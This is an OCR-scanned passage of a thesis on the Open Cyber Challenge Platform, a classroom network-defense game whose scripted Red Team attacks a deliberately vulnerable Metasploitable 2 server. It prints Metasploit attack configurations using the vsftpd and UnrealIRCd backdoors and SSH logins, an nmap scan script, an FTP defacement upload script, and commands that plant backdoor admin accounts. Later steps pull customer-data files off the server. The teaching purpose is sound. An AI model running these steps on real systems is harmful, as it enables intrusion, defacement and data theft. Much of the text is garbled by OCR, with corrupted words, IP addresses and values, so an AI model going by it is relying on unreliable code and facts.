the scenario. A fictional company, the Kitten MitseCorporation, has fired its server
administrator and has hired the player of the stena be his replacement. The
player is given the necessary credentials and lvaokd knowledge on tools that can
be used to access and secure the network resolifeeplayer is also warned that the
previous administrator may attempt to gain acoes$kd network and disrupt the
business. The player's goals are to maintain adwhilaof services needed by the Gray
Team and to prevent unauthorized access to theonetihe length of the scenario is
thirty minutes. The Red weight and Gray weight wawéh configured to be .5, so the
Services Score and Attack Defense Score are eacth 8@% of the Overall Score.
This was chosen because it is the simplest wagnfzhasize the importance of both
maintaining services and defending against attacks.

The VTN is a modified Metasploitable 2 virtual rhaee. Metasploitable 2 is
an intentionally vulnerable Ubuntu Server machireclv was created by the
Metasploit team for testing exploits in a contrdlEnvironment. The services used by
the Gray Team on the server are SSH server, wgbrs@giTTP), ping (ICMP), and
email (SMTP and IMAP). The web server hosts thtagcsweb pages (index.html,
shop.html, and testimonials.html), as well as aaiemterface for the player to check
for email alerts (i.e. hint emails). The playegigen an account, called administrator,
which allows root access on the server and canveeb@nt emails from an account
called customer. Figure 6 shows an example ofdnmdil that is sent when The Gray

Team traffic discovers the shop.html page to baaks.
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Current Folder: INBOX Sign Out

Compose Addresses Folders Options Search Help SquirrelMail
Message List | Delete Previous | Next Forward | Forward as Attachment | Reply | Reply All

Subject: The website is defaced!
From: customer
Date: Fri, May 31, 2013 11:43 am
To: administrator
Priority: Normal
Options: View Full Header | View Printable Version | Download this as a file

The page http://207.63.11.10/shop.html does not have the correct content.

Figure 6 - Email Sent to Player about Web Page daafieent

The sequence of Red Team attacks is listed below:

1. Wait 10 minutes, then do nmap scan.

2. Wait 2 minutes, then SSH login with mac accounhdS®unting email to
administrator account and restart Apache web servic

3. Wait 2 minutes, then connect to a root shell ont p624. Create a new user
dennis and add user to admin group.

4. Wait 1 minute, then SSH login with dennis accourtt deface index.html.

5. Wait 2 minutes, then connect to root shell thro&d® backdoor. Create user
dee and add user to admin group.

6. Wait 1 minute, then use FTP with dee account toaghlan image.

7. Wait 30 seconds, then SSH login with dee accouthtd@fiace shop.html using
the uploaded image.

8. Wait 2 minutes, then connect to a root shell througreal IRC backdoor.

Create user ricky and add user to admin group.
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9. Wait 1 minute, then SSH login with ricky and defaestimonials.html
The player is given access to an Ubuntu Desktafstation virtual machine

in the VTN to work from. It has tools installed tlz@an help the player during the
scenario, such as the packet sniffer Wiresharklaaaetwork monitoring tool
Nagios. The Nagios interface, shown in Figure tpisfigured to show the status of
the server’s important services. The firewall weletface is also accessible to the
player which can be used to make rules for allovanglocking traffic. An archive
file containing a backup of the website is providetie player needs to fix a defaced

web page.

Current Network Status Host Status Totals Service Status Totals
Tk e Joreschabie] ok waring|unknown[Criical[ ending

Updated every 90 . [_ Down| Unreachable| Pendins
Nagios® Core™ 32,3 - www nagios org = o 0 o W o [ © [ o [ ©

Logged in as nagiosadmin

View History For all hosts = = — = f=E
Wiew Motifications For All Hosts 1] 2
\Wiew Host Status Dietail For All Hosts e

Service Status Details For All Hosts

IMAP OK - 0,007 second response tme on port 143 [* OK [CAPABILITY IMAP4revi UIDPLUS CHILDREN
NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL

e o8 R to Tt L AT g HE ACLZ=UNIOM STARTTLS] Courier-IMAP ready. Copyright 1998-2008 Double Precision, Inc. See COPYING
for distribution information.]
Load oK 06-07-2013 15:08:43 1d 0h22m 13s 173 OK - load average: 0.00, 0.01. 0.00
Ping oK 06-07-2013 145047 100n21m 95 113 PING OK - Packet loss = 0%, RTA=0.05ms
Processes oK | 06-07-2013 15:00:52 1d Oh 20m 4s 13 PROCS OK: 100 processes
sMTE oK 06-07-2013 15:01:56 0d 0h 57m 205|173 SMTP OK - 0016 sec. fesponse time
ssd ¢ oK | 06-07-2013 15:03:00 0d Oh 56m 165 173 HTTP OK HTTP/L 1 200 OK - 931 bytes in 0,002 seconds
Users oK 06-07-201315:04:07 1d O0h 26m 51s | 1/3 USERS OK - 1 users currenty ogged in
locathost Current Load 5K 06-07-2013 15:08:11 1d 3h 15m Bs 14 OK - load average: 0.25, 0.48, 0.27
Current Users BK 06-07-2013 15:04:15 24d 22h 1m 50s | 1/4 USERS OK - 1 users currently ogged in
urTe oK 06-07-2013 15:05:20 170 0h 4m 105 1/4 HTTP OK HTTPIL 1 200 OK - 453 bytes in 0,124 seconds
PING oK 06-07-2013 15:06:24 24d 22 Om 355 114 PING OK - Packetloss = 0%, RTA=0.12 ms
Root Partiion K. 06-07-2013 15:07:28 24d 21h 53m 585 1/4 DISK OK - free space: / 5471 MB (50% inode=58%):
Swap Usage  BK 06-07-2013 15:08:32 24d 21h 58m 435 1/4 SWAP OK - 99% free (501 MB ot of 509 MB)
e e O 06-07-2013 15:04:37 224 23 17m 215 4 PROCS OK: 51 processes with STATE = RSZDT

Figure 7 - Nagios Services Page

The scenario was designed to test the choserstopim CSF 432. It addresses
the topic of authenticating people by testing whethe player knows how to manage
user accounts. The network security topic is tebtedaving the players use the

firewall to set up rules to control the traffic thenters the internal company network.
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The topic of Internet services and email is addr@$s/ requiring the player to
maintain specific services that need to be acclessiliside the internal network, as
well as remove vulnerable services. Finally, Waklidle Web security is tested by

requiring the player to maintain the availabilitydaintegrity of the company web site.

4.1.1 Evaluation of Experiment 1
On the Game Server, the number of files that vedrng during the creation
of the scenario was twelve. One of the files wassitenario configuration file which

can be seen in Figures 8, 9, and 10.

<occp challenge = “network_defense” scenario_length = "1806" red weight = "8.5" gray_weight = "0.5"
score_interval="15">

<{gray traffic_wait time="5" hint_email="customer" hint server="207.63.11.10" random addresses="true">
{traffic type="ssh" interval-="15" points="2" server="207.63.11.18" user="charlie" password="charlie"
command_file=""/home/user/0CCP/GrayTeam/user_scripts/ssh_user_commands™/>
<traffic type="ssh” interval="17" points="2" server="207.63.11.10" user="frank™ password="frank™
command_file=""/home/userf0CCP/GrayTeamfuser_scripts/ssh_user_commands™ />
<traffic type="ssh" interval="28" points="2" server="207_.63.11.10" user="julian" password="julian"
command_file="/home/user/0CCP/GrayTeamfuser_scripts/ssh_user_commands™/>

<traffic type="web_page" imterval="'9" peoints="'3" page="http://207.63.11.108/index. html"
defacement_penalty="-2" mid5_hash="eb6ec3BccP4d6cIFbB284F5eb44edBefb™ />

<traffic type="web_page" imterval="12" points=""3" page="http://287.63.11.18/shop._html”
defacement penalty="-2" md5_hash="0a4b2de6d@6c B4229F635d7B8F 7609961 />

<traffic type="web_page" imterval="14" points="3" page="http://207.63.11.18/testimonials.html"
defacement_penalty="-2" mi5 hash="d?50809fe%b2488ecBs0d82eedb57d139" />

<traffic type="email” interval="22" points="2" server="267.63.11.10" to_address="charlie”
from_address="julian" imap_retrieve_password="charlie"/>

<traffic type="email" interval="18" points="2" server="207.63.11.18" to_address="Ffrank"
from_address="charlie" imap_retrieve password="frank"/>

<traffic type="email" interval="26" points="2" server="267.63.11.10" to_address="julian"
from_address="frank" imap_retrieve password="julian"/>

<traffic type="user_script” interval="12" points="1" timeout="2§" script_name="ping_script.sh"/>
<fgray>

<{red address = "124.62.31.1681" exploit_wait time = 600" metasploit_user = "msuser”
metasploit password = "mspa55wdt” random addresses = “true'>

<attack type="user_script” order="1" points="6" wait_time="6" file_name="nmap.sh"/>

<attack type="netasploit” erder = 2" points="-1" wait_time="126">
<module_options expleit_type="auxiliary" expleit="auxiliary/scanner/ssh/ssh_login">
<{exploit_options PAYLOAD="1linux/x86/shell bind_ tcp" RHOSTS="267.63.11.18"
USERHAME="mac" PASSWIRD="HaC" USER_AS_ PASS="false" STOPF_OH_SUCCESS="true"
BLANK_PASSWIRDS="false'/>
<{post_exploit command file="/home/user/0CCP/RedTeamfuser_scripts/post_exploit/
ssh_mac_commands™ />
</module_options>
<fattack>

Figure 8 - Scenario Configuration File (Part 1)
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<attack type="metasploit” order="3" points="-2" timeout="20" wait time="120">
{module_options exploit_type="exploit" exploit="exploit/multi/handler">
<exploit_options PAYLOAD="l1linux/x86/shell/bind_tcp"” RHOST=""2087.63.11.16" LPORT="1524"
CHOST="""/#>
<{post_exploit command_file="/home/user/0CCP/RedTean/user_scripts/post_exploit/
wild_shell_commands' />
<{/module_options>
<fattack>

<attack type="metasploit” order = "4 points="-3" timeout="30" wait_time="'30">
<{module_options exploit_type=""auxiliary” expleit="auxiliary/scanner/ssh/ssh_login">
<exploit_options PAYLOAD="linux/x86/shell bind_tcp" RHODSTS="287.63.11.18"
USERMAME="dennis" PASSWORD="Denni$" USER_AS PASS="false"
STOP_OH SUCCESS="true” BLANK PASSWORDS="false'/>
<{post_exploit command_file=""/home/user/0CCP/RedTean/user_scripts/post_exploit/
ssh_dennis_commands® />
</module_options>
{fattack>

<attack type="metasploit” order="5" points="-2" timeout="20" wait_ time="120">
<module_options exploit_type="exploit” exploit="exploit/unix/ftp/vsftpd_234 backdoor">
<exploit_options PAYLOAD="cmd/unix/interact" RHOST="207.63.11.18" CHOST=""/>
<post_exploit command_file=""/home/user/0CCP/RedTean/user_scripts/post_exploit/
ftp_commands" />
</module_options>
<fattack>

<attack type="user_script” order="6" points="-1" wait_time=""30" Ffile name="ftp_upload.sh"/>

<attack type="metasploit” order = "7 points="-3" timeout="'30" wait_time="38"3>
<module_options exploit_type="auxiliary” expleit="auxiliary/scanner/ssh/ssh_login">
<exploit_options PAYLOAD=""linux/x86/shell_bind_tcp” RHOSTS="267.63.11.18"
USERHAME=""dee" PASSWORD="sweetdee" USER_AS_PASS="false" STOP_OM SUCCESS="true"
BLAHK_PASSWORDS="false"/>
<post_exploit command file="'/home/user/0CCP/RedTean/user_scripts/post_exploit/
ssh_dee_commands™ />
</module_options>
{/attack>

Figure 9 - Scenario Configuration File (Part 2)

<attack type="metasploit” order="3" points="-2" timeout="20" wait_time="120">
<{module_options exploit type="exploit" exploit="exploit/unix/irc/unreal_ircd_3281_backdoor'>
<exploit_options PAYLOAD="cnd/unix/bind_perl™ RHOST="207.63.11.10" CHOST=""/>
<post_exploit command_file="/home/user/0CCP/RedTeam/user_scripts/post_exploits
irc_commands™/>
</module_options>
<fattack>

<attack type="metasploit” order = 9" points="-3" timeout="36" wait_time="36">
{module_options exploit type="auxiliary" exploit="auxiliary/scanner/ssh/ssh_login">
<exploit_options PAYLOAD="1inux/x86/s5hell_bind_tcp" RHOSTS="287.63.11.18"
USERHAME="ricky” PASSWORD="RiCkY" USER_AS_PASS="false” STOP_OM SUCCESS="true"
BLANK PASSWORDS="false"/>
<post_exploit command_ file="/home/user/0CCP/RedTeamsuser_scripts/post_exploits
ssh_ricky_commands™/>
</module_options>
<fattack>
{fred>

<blue email_address="administrator™/>
<foccp>

Figure 10 - Scenario Configuration File (Part 3)
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Three of the twelve files were Bash scripts thatercreated from scratch. The
nmap script and ftp upload scripts are shown amples.

The nmap Bash script, shown in Figure 11, worksitonymerating all the ports
of the server from 1 through 10000 and discardothput in /dev/null. This attack is
worth zero points and is there to produce netwa@fit that simulates an attacker
doing reconnaissance. The nmap command line todbeaised to gather information
about a host or network by enumerating the opetspahich can show the types of
services running.

#*/bin/bash
nmap 287 .63.11.18 ——system-dns -p 1-186888 -T 4 > fdevu/null
exit §7

Figure 11 - User Script for Running an nmap Scan

The ftp upload script, shown in Figure 12, allaile to be uploaded via the
file transfer protocol. The command line tool f§pai method of transferring files

between hosts.
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#t/binfbash
# Upload a FILE to HOST using FTP

# Edit these fields
i R R R S R

# Directory containing this script and the file to be uploaded
WORKINGDIR=/home fuser /O0CCP/RedTeanfuser_scripts

# Address of the remote host

HOST=287.63.11.18

# Username and password to use

USER=dee

PASS=sueetdee

# Directory on remote host where file will be uploaded to
REMOTEDIR=/home/dee

# The file to upload

FILE=defaceimage .png

TP I B I S A I S T

doftp(){

ftp -in SHOST << EOF

user SUSER $PASS

put $WORKINGDIR/$FILE $REMOTEDIR/SFILE
bye

EOF

H

doftp 1>$WORKINEDIR/Ftp_upload_log 2>&1

COMM_ERROR="grep -c "ot connected.*™ SWORKIMGDIR/ftp_upload log’

LOGIN ERROR="grep -c "Login incorrect.™ $WORKINGDIR/Ftp upload log’
TRANSFER_ERROR="grep -c “No such file or directory” $WORKINGDIR/Ftp upload_log®
CREATE_ERROR="grep -c¢ "Could not create File.™ $WORKINGDIR/ftp_upload_log
RESULT="expr $COMM ERROR + $LOGIN ERROR + $TRANSFER_ERROR + $CREATE_ERROR

rm SWORKINGDIR/fFtp_upload_log

exit SRESULT

Figure 12 - User Script for Uploading a File withA-

Eight of the twelve files edited were commandsfiteat contained lists of
commands to run during specific sessions. An exarmpha command file is shown in
Figure 13. These commands, if run in a session mwithaccess, will create the user
ricky and add it to the admin group. Next, the ards password is set to RiCkY and
a home directory is created for the account. Rm#fe ownership of the directory
changes to the ricky account and read/write/exgoemaissions are granted to all

users.
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useradd -G admin ricky

passwd ricky

RiCkY

RiCkY

mkdir fhome/ricky

chown -R ricky:ricky fhome/ricky
chmod -R 777 /home/ricky

Figure 13 - Command File for Creating a New Uset ldome Directory

This scenario took roughly eight hours to buildeTime used for the
scenario’s design process is not included in tgbtdiours. This time does include
setting up virtual machines with the desired sofeyaditing files, writing
documentation for the player, and testing traffid attacks to ensure the correct
behavior.

The creation of this first scenario was donehtovgthat the OCCP prototype
is reasonably easy to use. A significant step énctieation of a scenario is the building
of the VTN. The instructor would need to understartivorking and should be
familiar with Linux systems. It should be expecthkdt an instructor teaching others
how to defend a network would have the necessavwlatge to set up the VTN.

In order to set up the Game Server for a scentugoonly file that needs to be
edited is the configuration file. This file can treated by reading the documentation
supplied with the OCCP prototype. It is more likéiat an instructor would want to
create some text files containing lists of commanusrder to make the scenario
more interesting. These text files are straightBodvand not time consuming to make,
but they require knowledge of Linux commands. Astrinctor may also want to make

Bash scripts for exploits or traffic. The difficulof these can vary based on what the
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desired behavior should be. A benefit of Bash sigpthat they could potentially be
reused for other scenarios.

Admittedly, the number of files created is a weaywo measure ease of use.
However, it is difficult to determine ease of usmnqtitatively. It would have been
better to have qualitative feedback from an ingbucreating a scenario using the
OCCP, if there had been more time.

A scenario can take a significant time to makefitisé time. A large portion of
the 8 hours was spent installing, configuring, aindbleshooting software on the
server. The benefit of using virtual machines wita OCCP is that snapshots can be
used with the virtualization software to revertlo&z a ready state. This allows
scenarios to be reused without needing to set tuegyup again. Also, certain parts
of the player documentation and VTN could potehtibé reused in other scenarios.
When judging by the amount of time taken to crélaie scenario, amount of files
created for the scenario, and technical knowledgaired to create the scenario, the

OCCP is reasonably easy to use for a cyber secastructor.

4.2 Experiment 2 Results: Reconfigurethe First Scenario

The scenario was reconfigured to include the topigrolling and sharing files
in addition to the other topics. The Blue Team &cenBrief for this reconfigured
scenario is in Appendix 3. The service SFTP is need by the Gray Team traffic and
some additional files were added to the serversé&liiées represent confidential

customer data. The players are tested on the tdgiontrolling and sharing files by
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making sure these files can only be accessed bgotimgany's employees. The new
sequence of Red Team attacks is listed below:
1. Wait 10 minutes, then do nmap scan.
2. Wait 2 minutes, then SSH login with mac accounhdS®unting email to
administrator account and restart Apache web servic
3. Wait 2 minutes, then connect to a root shell ot p624. Create a new user
dennis and add user to admin group.
4. Wait 30 seconds, then SSH login with dennis accandtdeface index.html.
5. Wait 2 minutes, then connect to root shell thro&d® backdoor. Create user
dee and add user to admin group.
6. Wait 30 seconds, then use FTP with dee accountltad an image.
7. Wait 30 seconds, then SSH login with dee accoutitd@fiace shop.html using
the uploaded image.
8. Wait 2 minutes, then connect to a root shell througreal IRC backdoor.
Create user ricky and add user to admin group.
9. Wait 30 seconds, then SSH login with ricky and defeestimonials.html
10.Wait 2 minutes, then use FTP with dennis to dowshloastomer_datal.
11.Wait 1 minute, then use FTP with dee to downloastamer_data2.

12.Wait 1 minute, then use FTP with ricky to downlaadtomer_data3.

4.2.1 Evaluation of Experiment 2
On the Game Server, the number of files that edred during the

reconfiguration was four. One was the scenarioigardtion file (Figures 14, 15, and
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16) and three were Bash scripts that were creabead $cratch. The reconfiguration
took about an hour to complete. Like with Experiment would have been ideal to
test the ease of use for reconfiguring a scenaitio actual instructors, if there was

more time.

<occp challenge = "network_defense” scenaris length = "180868" red weight = "6.5" gray weight = "9.5"
score_interval="15">

<gray traffic_wait time="5" hint_emai int_server="207.63.11.10" random_addresses="true">
<{traffic type="ssh interval="15" points="2" server=""207.63.11.18" user="charlie" password="charlie"
command_fFile="/home/user/0CCP/GrayTeanfuser_scripts/ssh_user_commands™/>
<traffic type="ssh™ interval="17" points="2" server="267.63.11.10" user="frank" password="Ffrank"
command file="/home/user/0CCP/GrayTeanfuser_scripts/ssh_user_commands™/>
{traffic type="ssh” interval="20" points="2" server=""207.63.11.10" user="julian" password="julian”
command_file="/home/user/0CCP/GrayTeanfuser_scripts/ssh_user_commands™/>

{traffic type="sftp" interval="200" points="4" server="207.63.11.10" user="charlie" password="charlie"
action="download"” path_to_remote="/usr/data/customer_data1" path_te local="/homefuserfOCCP/
GrayTeamfcustomer_data1"/>

<traffic type="sftp” interval="185" points="4" server="207.63.11.18" user="frank" password="Ffrank"
action="dounload" path_to remote="/usrfdata/customer_data2" path_te local="/home/user/0CCP/
GrayTeam/customer_data2"/>

<{traffic type="sftp” interval="225" points="4" server="207.63.11.10" wser="julian" passwerd="julian"
action="dounload" path_te_remote="/usr/data/customer_data3" path_te local="/home/user/0CCP/
GrayTeam/customer_data3"/>

{traffic type="web_page" interval= points="3" page="http://287.63.11.18/index_html"
defacement penalty="-2" mid% hash="e6ec3Bcc94d6c9FbO284F5ebuleddeFb" />

{traffic type="web_page" interval="12" points="3" page="http://287.63.11.18/shop.html"
defacement _penalty="-2" mid5 hash=""8a4b2de6d B6cB4220f635d78F76DO061"/>

<{traffic type="web_page"” interval="14%" points="3" page="http://207.63.11.18/testinonials.html"
defacement_penalty="-2" md%_hash="d?50602fe?b2488ecBS 0dB2eedb57d139"/>

{traffic type="email” interwal="22" points=""2" server="207.63.11.10" to_address="charlie"”
from_address="julian" imap_retrieve password="charlie™/>

{traffic type="email” interwal="18" points="2" server="207.63.11.10" to_address="Ffrank"
from_address="charlie" imap retrieve password="frank"/>

<{traffic type="email” interwal="26" points="2" server="207.63.11.18" to_address="julian"
from_address="frank™ dimap _retrieve password="julian"/>

<{traffic type="user_script” interval="12" points="1" timeout="20" script name="ping_script.sh"/>
</fgray>

Figure 14 - Reconfigured Configuration File (Part 1
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{red address = "124.62.31.1601" exploit_wait_time = 500" metasploit_user = "msuser"

metasploit_password = "mspaSSud?!" random addresses = "true'>
{attack type="user_script" order="1" points="0" wait time="0" file name="nmap.sh"/>

{attack type="metasploit" order = "2" points="-1" wait_time="120">
{module_options exploit_type="'auxiliary" expleit="auxiliary/scanner/ssh/ssh_login">
<{exploit_options PAYLOAD="1inux/x86/shell_bind_tcp" RHOSTS="267.63.11.18"
USERHAHE=""mac"’ PASSWORD=""HaC'" USER_AS_PASS="false" STOP_DH SUCCESS="true"
BLAMK_PASSWORDS="false"/>
{post_exploit command_file="/home/user/0CCP/RedTeam/user_scripts/post_exploit/
ssh_mac_commands'/>
{/module_options>
<{fattack>

{attack type="metasploit" order="3" points="-2" timeout='""28" wait time="128">
{module_options exploit_type="exploit" exploit="exploit/multi/handler">
<{exploit_options PAYLOAD="1inux/x86/shell/bind_tcp" RHOST="287.63.11.18" LPORT="1524"
CHOST="""/>
{post_exploit command_file="/home/user/0CCP/RedTeam/user_scripts/post_exploit/
wild_shell_commands" />
</module_options>
{fattack>

{attack type="metasploit" order = "4 points= " timeout="30" wait_time="38">
{module_options exploit_type="'auxiliary" expleit="auxiliary/scanner/ssh/ssh_login">
<{exploit_options PAYLOAD="1inux/x86/shell_bind_tcp" RHOSTS="267.63.11.18"
USERHAME=""dennis" PASSWORD="Denni$" USER_AS_PASS="false"
STOP_OH_SUCCESS="true" BLAHK_PASSWORDS-="false"/>
{post_exploit command_file="/home/user/0CCP/RedTeam/user_scripts/post_exploit/
ssh_dennis_commands" />
</module_options>
<{fattack>

{attack type="metasploit" order="5" points="-2" timeout='""28" wait time="128">
<{module_options exploit_type="exploit" exploit="exploit/unixz/ftp/vsftpd_234 backdoor">
<exploit_options PAYLOAD="cmd/unix/interact” RHOST="287.63.11.18" CHOST=""/>
{post_exploit command_file="/home/user/0CCP/RedTeam/user_scripts/post_exploit/
ftp_commands"s>
</module_options>
<{fattack>

Figure 15 - Reconfigured Configuration File (Part 2
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<attack type="user_script” order="6" points="-1" wait time="30" File_name="ftp_upload.sh"/>

{attack type="metasploit” order = "7" points="-3" timeout="30" wait time="30">
<module_options exploit type="auxiliary” expleit="auxiliary/scanner/ssh/ssh_login™>
<exploit_options PAYLOAD="linux/x86/shell_bind_tcp” RHOSTS="267.63.11.18"
USERHAHE=""dee" PASSWIRD="suweectdee”™ USER_AS PASS="false" STOP_ON SUCCESS="true"
BLANK PASSWORDS=""false"/>
<{post_exploit command file="/home/user/0CCP/RedTeansuser_scripts/post_exploit/
ssh_dee_commands' />
</module_options>
<fattack>

<attack type="metasploit” order="8§" points="-2" timeout="20" wait time="120">
<module_options exploit_type="exploit” expleit="exploit/unix/irc/unreal_ircd_3281_backdoor">
<exploit_options PAYLOAD="cmd/unix/bind_perl™ RHOST="287.63.11.18" CHOST=""/>
<{post_exploit command file="/home/user/0CCP/RedTeanfuser_scripts/post_exploit/
irc_commands" />
</module_options>
{fattack>
<{attack type="metasploit” order = 9" points="-3" timeout="30" wait time="30">
<module_options exploit_type="auxiliary” expleit="auxiliary/scanner/ssh/ssh_login™>
<exploit_options PAYLOAD="linux/x86/shell_bind_tcp” RHOSTS="267.63.11.18"
USERHAME="ricky” PASSWORD="RiCKY" USER_AS PASS="false” STOP_OM SUCCESS="true"
BLANK PASSWORDS=""false"/>
<{post_exploit command file="/home/user/0CCP/RedTean/user_scripts/post_exploit/
ssh_ricky_commands™f>
</module_options>
{fattack>
<attack type="user_script" order="18" points="-4" wait time="120" file_name="ftp_download1.sh"/>
<attack type="user_script” order="11" points="-4" wait_time="60" file name="ftp_download2._sh"/>

{attack type="user_script" order="12" points="-4" wait time="60" file name="ftp_download3.sh"/>
<Ared>

<blue email_ address="administrator"/>
<foccp>

Figure 16 - Reconfigured Configuration File (P3art 3

Reconfiguring a scenario did not take much time iaallowed for more
elements to be added to the first scenario. The ®@Gtotype allows for a wide
variety of scenario configurations and the effortlo so is reasonable for a cyber

security instructor.

4.3 Experiment 3 Results: Run Scenario on Workstation Computer

The resources required for running the first sderan a workstation computer
are noted in this section.

The cost of the software used in the OCCP and Yorihis scenario is free.

VMware Workstation 9.0.2 (“VMware Workstation: Riultiple OS, Linux,
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Windows 8 & More”, 2013) was the virtualization seére used to run the virtual
machines. This software costs $249.00 and $118.0@drade from the previous
version. It is likely that an academic discount barobtained to lower the cost. There
are also other virtualization solutions availaliiattmay be used. An example is
Oracle’s VirtualBox (“Oracle VM VirtualBox”, 2013)yhich is available for free.

The total amount of memory required is about 1,8H) Table 1 shows the
parts that are allocated a significant amount ahiory. A computer should have a

minimum of 4 GB of memory in order to support thcenario.

Item Name Memory Allocation
Game Server 512 MB

Blue Team Workstation 512 MB

Server 300 MB

Firewall 128 MB

VMware Workstation 168 MB

Total 1,620 MB

Table 1 - Memory Usage

The total amount of hard disk space required iziah® GB. Table 2 shows

the parts with the most significant hard disk spaltecated.

[tem Name Hard Disk Allocation

Game Server 8.66 GB
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Blue Team Workstation 6.09 GB
Server 2.89 GB
Firewall 310 MB
VMware Workstation 639 MB
Total 19GB

Table 2 - Hard Disk Usage

The cost of a new workstation machine with at IdaGB of memory can be as
low as $350. Dell (“The Dell Online Store: Build ¥ioSystem”, 2013) and HP (“HP
Pavilion p6-2220t Desktop PC”, 2013) have modetslakle for a similar price that
also include a 500 GB hard drive, a capable praceasd the Windows 7 64-bit
operating system.

The total cost of the hardware and virtualizatioftwgare to run this scenario is
about $600. This cost could potentially be redumgdsing academic discounts or by
using free virtualization software. This cost kely affordable by a college or high

school.
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CHAPTER 5: CONCLUSION

While this thesis has made a significant starheoWRI OCCP project, there is
future work that can be done. More features coeladded, such as additional
supported Gray services, virtual machine automatad a score display for
spectators. Additionally, more extensive testingldde done with actual students,
which was out of the scope of this thesis. Alse, jknetration testing, forensics, and
secure programming challenges will need to be sug@o

This thesis has produced a method of teaching daririty principles and
techniques, specifically in the area of networkedst. The effort that goes into
making a scenario is suitable for a cyber secumgtructor. The OCCP prototype can
be configured to run a virtually limitless numbéddferent scenarios. Additionally,
operating systems and software used in the virhzadhines are free, and the hardware
cost is affordable to a high school or college.

In conclusion, this thesis sought to provide a whsnotivating cyber security
education in high schools and colleges by providinvgay for students to get hands on
experience. The OCCP prototype has been desigriegptove upon the weaknesses
of other cyber challenges by making it freely aafalié, able to run on affordable

hardware, and reasonably easy to use.
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APPENDIX 1: Glossary

Bash — The default shell for Linux. It is a command ggesor that can read
commands from a file, called a script.

Challenge — There are four types of challenges that the O@{llRupport: Network
Defense, Penetration Testing, Secure ProgrammmpDagital Forensics. See section
2.2.3.

FTP — File Transfer Protocol; an insecure protocoltfansferring files between
computers.

IMAP — Internet Message Access Protocol; an Interrabpol for accessing email
on remote email server.

Metasploit — The Metasploit Framework is a tool for develagpand executing
exploit code against remote target machines.

OCCP - Open Cyber Challenge Platform; an open souat#opi for creating and
running cyber challenges. The OCCP prototype wasldped as part of this thesis.
See section 2.2.

Ping — This is a command line tool that uses the Imtie@ontrol Message Protocol to
send packets to hosts and then listen for repliggiado determine if the host is up.
Player — This is the person, usually a student, who gpetes in a scenario.
Scenario — This is an instance of a challenge. See se2tidi.1.

SFTP — Secure File Transfer Protocol; a protocol fausely transferring files

between computers.
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SMTP — Simple Mail Transfer Protocol; an Internet si&adprotocol for sending
email.

SSH — Secure Shell; a network protocol for securelyeasing shell accounts on other
computers in order to remotely run commands.

XML - Extensible Markup Language; see section 3.4.1.
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APPENDIX 2: OCCP Setup Instructions
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OCCP Introduction

The Open Cyber Challenge Platform or OCCP is an open-source

platform for creating and running a cyber challenge.

There

are several parts of the OCCP:

Game Server — This is described in the Game Server section below.
Firewall — This is described in the Firewall section below.

Virtual Target Network — The VTN is described in the Virtual Target
Network section below.

White Team — The White Team is scripted and keeps track of the
player’'s score during the scenario.

Blue Team — The Blue Team defends the VTN. The Blue Team works
from a workstation containing tools required to successfully defend the
VTN. In a network defense challenge, the Blue Team is the player.
Red Team — The Red Team sends attacks to the VTN. In a network
defense challenge, the Red Team is scripted.

Gray Team — The Gray Team is scripted and sends normal traffic to the
VTN.

There are four types of challenges that will be supported:

Network Defense — Players defend a VTN from scripted attacks.
Penetration Testing (not yet supported) — Players attack a VTN.
Secure Programming (not yet supported) — Players write software on a
VTN that is resistant to scripted attacks.

Digital Forensics (not yet supported) — Players gather evidence from an
attack on a VTN.

Gray Traffic

There are several services supported by the OCCP that can be used as Gray

traffic:
[ ]
[ ]

SSH — Send commands to an SSH server.

SFTP — Upload files to or download files from an SFTP server.
Webpage — Retrieve web pages via HTTP from a web server. Web
page requests can optionally be sent from random addresses.
Email — Send email via SMTP and optionally retrieve the email via
IMAP.
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e User script — Use a user-defined Bash script that uses a service that is
not already supported.
Each instance of traffic will spawn in a separate thread that repeats at a
configurable interval until the end of the scenario.

Red Attacks

The OCCP supports the use of the penetration testing software
Metasploit (http://www.metasploit.com/) as a method of sending attacks to the
VTN. There is also the option to use a user-defined Bash script. Attacks are
run linearly in a specified order with configurable intervals in between them.

Network Diagram
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R Y pfSense Firewall

Simulated Internet

Game Server

The Game Server virtual machine, that is packaged with the OCCP,
contains the White, Red, and Gray Team. The XML configuration file, user
scripts, and other files used by the Red and Gray Teams are placed on this
virtual machine. The username is user and the password is user. It would be a
good idea to change the password.

Firewall

The pfSense firewall virtual machine, that is packaged with the OCCP,
acts as the gateway for the VTN to the simulated Internet. It has a wide area
network interface WAN and an alias WAN2 that together can simulate the
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Internet. WAN is configured to the subnet 0.0.0.0/1 and WAN?2 is defined as
the subnet 128.0.0.0/1. Each of these interfaces has half of the possible IP
addresses in its subnet. The reason for this setup is because the Red and
Gray Teams can optionally send from a random address. Any rule that should
apply to WAN interface needs to have a duplicate rule for the WAN2 alias.

The local area network or LAN can be configured with any subnet for
the VTN. The username for the firewall’s web interface is admin and the
password is admin.

Virtual Target Network

The Virtual Target Network or VTN is the network in which the scenario
will take place. It will have virtual machines to represent actual machines and
they will be the target of Red Team attacks and Gray Team traffic. The virtual
machines and virtual network should be configured as desired before running
a scenario.

The Blue Team VM is what the participant will use during the scenario
and should be configured with any tools necessary to complete the scenario.
For convenience, each virtual machine should have snapshots taken to revert
them back to a ready-to-run state.

Scoring

The player’s goal is to get the highest possible score out of 100%.
Points earned from Gray traffic are positive while points from Red attacks are
negative. The Service Score shows the percentage of positive points acquired
and the Attack Defense Score shows the percentage of negative points
prevented. The Total Score is a combination of the Service Score and the
Attack Defense Score with weights applied. For most traffic and attacks, the
whole point value is added for a successful traffic or attack. A score of O will be
given to an unsuccessful traffic or attack. There are a few exceptions for
certain types of traffic:

e Webpage has an optional defacement penalty that can be applied if the
page is defaced.

e SSH will allow half of the possible points to be earned if the service is
available but authentication fails.

e Emails that are optionally retrieved with IMAP are given half of the
possible points if the mail is successfully sent via SMTP but not
retrieved via IMAP.
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Configuration File
The configuration for the OCCP scenario is placed in an XML file
located in the main OCCP directory on the Game Server called

occp_config.xml. All data for attributes should be in quotations.

The XML configuration file has the following tag structure:

<occp>
<blue/>
<gray>
<traffic/>
<traffic/>
</gray>
<red>
<attack>
<module_options>
<exploit_options/>
<post_exploit/>
</module_options>
</attack>
<attack/>
</red>
</occp>

Each tag has attributes that are described here:

<occp>
e challenge: This is the type of challenge that the scenario will use. The
only option currently is “network_defense”.
e scenario_length (required): This is the length of time in seconds that the
scenario will last.
e score_interval (required): This is the number of seconds between score
updates.
